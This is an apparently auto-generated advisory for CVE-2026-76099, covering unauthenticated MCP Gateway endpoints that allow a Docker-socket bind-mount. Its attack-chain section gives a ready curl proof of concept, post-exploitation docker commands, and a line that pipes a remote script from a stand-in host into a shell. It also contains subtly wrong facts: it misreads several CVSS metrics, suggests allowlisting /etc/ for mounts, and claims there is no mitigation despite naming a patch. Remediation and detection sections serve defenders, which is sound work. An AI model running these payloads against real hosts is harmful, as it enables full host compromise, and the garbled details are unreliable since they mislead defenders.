CVE-2026-76099 — CWE-862
MCP Gateway allows easy and secure running and deployment of MCP servers. From version 0.9.3 to before version 0.43.1, the dynamic management tools mcp-add and mcp-config-set are exposed with no authorization gate, and config supplied to them is validated only against the catalog server's JSON schema — not against the values. At run time the catalog Spec.Volumes templates are expanded with that config and appended as docker -v bind mounts with no host-path allowlist, so an attacker-controlled value can mount a sensitive host path (e.g. the Docker socket) into a spawned container — yielding code execution as root on the host. This issue has been patched in version 0.43.1.
MCP Gateway allows easy and secure running and deployment of MCP servers. From version 0.9.3 to before version 0.43.1, the dynamic management tools mcp-add and mcp-config-set are exposed with no authorization gate, and config supplied to them is validated only against the catalog server's JSON schema — not against the values. At run time the catalog Spec.Volumes templates are expanded with that config and appended as docker -v bind mounts with no host-path allowlist, so an attacker-controlled value can mount a sensitive host path (e.g. the Docker socket) into a spawned container — yielding code execution as root on the host. This issue has been patched in version 0.43.1.
🎯 What is this vulnerability?
Root cause
MCP Gateway (versions 0.9.3 – 0.43.0) exposes two management endpoints – mcp-add and mcp-config-set – without any authentication or authorization checks.
The payload that is accepted by these endpoints is only validated against the JSON schema of the catalog server, not against the actual values that the schema permits.
During runtime the catalog’s Spec.Volumes templates are expanded with the supplied configuration and are turned into Docker -v bind‑mount arguments. Because there is no host‑path allowlist, an attacker can inject an arbitrary host path (e.g. /var/run/docker.sock) into the mount list. The resulting container is launched with root privileges, giving the attacker direct access to the Docker socket and, consequently, to the host OS.
CWE – 862 (Missing Authorization)
CVSS v4.0 – 9.0 (Critical)
- AV:N – Network reachable
- AC:L – Low attack complexity
- AT:P – Physical (no remote code execution required)
- PR:L – Low privilege (no prior access needed)
- UI:N – No user interaction
- VC:H / VI:H / VA:H – Full confidentiality, integrity, availability impact
- SC:H / SI:H / SA:H – Full impact on all sub‑systems
⚡ Attack Chain
NOTE: The exact URI paths (/mcp-add,/mcp-config-set) are taken from the CVE description. If your deployment uses a different path, the same logic applies – the endpoint must be reachable without auth and accept a JSON payload that is only schema‑validated.
1. Discovery & Reconnaissance
| Step | Technique | What you learn |
|---|---|---|
| Service fingerprint | curl -I http://<target>/ or nmap -sV -p 80,443 <target> | Detects MCP Gateway banner (e.g. MCP Gateway v0.42.3) |
| Version enumeration | curl -s http://<target>/api/version (if available) | Confirms vulnerable version (< 0.43.1) |
| Endpoint discovery | dirsearch or gobuster on /mcp-add, /mcp-config-set | Confirms the two management endpoints are exposed |
Result: You now know the target is running a vulnerable MCP Gateway instance.
2. Exploitation
The goal is to inject a bind‑mount that points to the Docker socket.
The payload must be a valid JSON that satisfies the catalog’s schema but contains a malicious value for the volume template.
Example payload (illustrative)
{
"name": "evil",
"spec": {
"Volumes": [
{
"name": "docker-sock",
"source": "/var/run/docker.sock",
"target": "/var/run/docker.sock",
"readOnly": false
}
]
}
}Why it works
* The source field is validated only against the JSON schema (type = string).
* The catalog’s template engine expandssourceinto a Docker-vflag:-v /var/run/docker.sock:/var/run/docker.sock.
* No allowlist checks mean the host path is accepted.
PoC – curl
#!/usr/bin/env bash
TARGET="http://<target-ip>:<port>"
# 1. POST to /mcp-add (or /mcp-config-set)
curl -s -X POST "$TARGET/mcp-add" \
-H "Content-Type: application/json" \
-d '{
"name":"evil",
"spec":{
"Volumes":[
{
"name":"docker-sock",
"source":"/var/run/docker.sock",
"target":"/var/run/docker.sock",
"readOnly":false
}
]
}
}' > /dev/null
echo "Payload delivered – container should now be running with /var/run/docker.sock mounted."What happens on the host
The MCP Gateway launches a new container (usually as root).
Inside that container, /var/run/docker.sock is a functional socket, so the container can issue Docker commands against the host.3. Post‑Exploitation
With the Docker socket exposed, the attacker can:
1. Run arbitrary commands on the host
docker exec -it <container-id> /bin/sh
# or
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock alpine sh -c "id; uname -a"2. Create a reverse shell
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock alpine sh -c \
"apk add --no-cache curl && curl -sL https://example.com/shell.sh | sh"3. Escalate privileges
The container already runs as root; any command executed via the Docker socket runs with host‑root privileges.
4. Persist
Install a malicious agent, add a new user, or modify system services.
Impact: Full host compromise – confidentiality, integrity, and availability are all destroyed.
🌍 Real World Impact
| Impact | CVSS Vector | Explanation |
|---|---|---|
| Confidentiality | VC:H | Attacker can read any file on the host, including secrets, credentials, and logs. |
| Integrity | VI:H | Attacker can modify files, install backdoors, or tamper with system binaries. |
| Availability | VA:H | Attacker can stop services, delete data, or crash the host. |
| System Components | SC:H / SI:H / SA:H | All sub‑systems (network, storage, processes) are fully compromised. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Affected range | Fix |
|---|---|
0.9.3 – 0.43.0 | Upgrade to 0.43.1 or later. |
Why – The patch adds proper authorization checks tomcp-add/mcp-config-setand enforces a host‑path allowlist for volume mounts.
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | How to implement |
|---|---|
| Disable the endpoints | Configure the MCP Gateway reverse proxy (NGINX/Traefik) to block /mcp-add and /mcp-config-set for all IPs except the management network. |
| Restrict network access | Place the MCP Gateway behind a firewall that only allows the internal management subnet. |
| WAF rule | Add a ModSecurity rule that blocks POST requests to /mcp-add//mcp-config-set unless a custom header (e.g., X-Admin: true) is present. |
| Host‑path allowlist | If the gateway supports configuration, set a whitelist of allowed host paths for volume mounts (e.g., only /etc/ and /var/log/). |
| Docker daemon hardening | Run Docker with --icc=false and --userns-remap=default to reduce the impact of a compromised container. |
3. Detection
| Log source | Indicator of Compromise (IoC) |
|---|---|
| Web server access logs | POST /mcp-add or /mcp-config-set with payload containing /var/run/docker.sock |
| Docker daemon logs | docker: client: unauthorized (if auth is added) or docker: client: permission denied |
| System audit logs | docker run or docker exec commands executed from an unfamiliar user |
| Host file changes | Creation of new containers or modification of /etc/docker/daemon.json |
Sample log snippet
127.0.0.1 - - [02/Dec/2026:14:23:45 +0000] "POST /mcp-add HTTP/1.1" 200 512 "-" "curl/7.68.0"Payload pattern (regex)
"source":\s*"/var/run/docker\.sock"4. Monitoring
/var/run/docker.sock and /etc/docker/daemon.json. docker events --filter type=container --filter action=start). ⚠️ Urgency
| Metric | Value | Recommendation |
|---|---|---|
| CVSS v4.0 | 9.0 (Critical) | Immediate patching required. |
| CISA KEV | No | Still high risk due to lack of official mitigation. |
| Exploit complexity | Low (no auth, no user interaction) | High priority – attackers can automate the exploit. |
| Impact | Full host compromise | Zero‑day equivalent – treat as a critical vulnerability. |
Patch‑priority:
Bottom line
The combination of unauthenticated endpoints, insufficient input validation, and unrestricted Docker bind‑mounts turns MCP Gateway into a classic “Docker‑socket‑exposure” vector. An attacker can gain root on the host with a single HTTP request. The only reliable fix is to upgrade to 0.43.1 or later; until then, enforce network isolation or disable the vulnerable endpoints.
[🤖 CVE Professor AI Security Engine]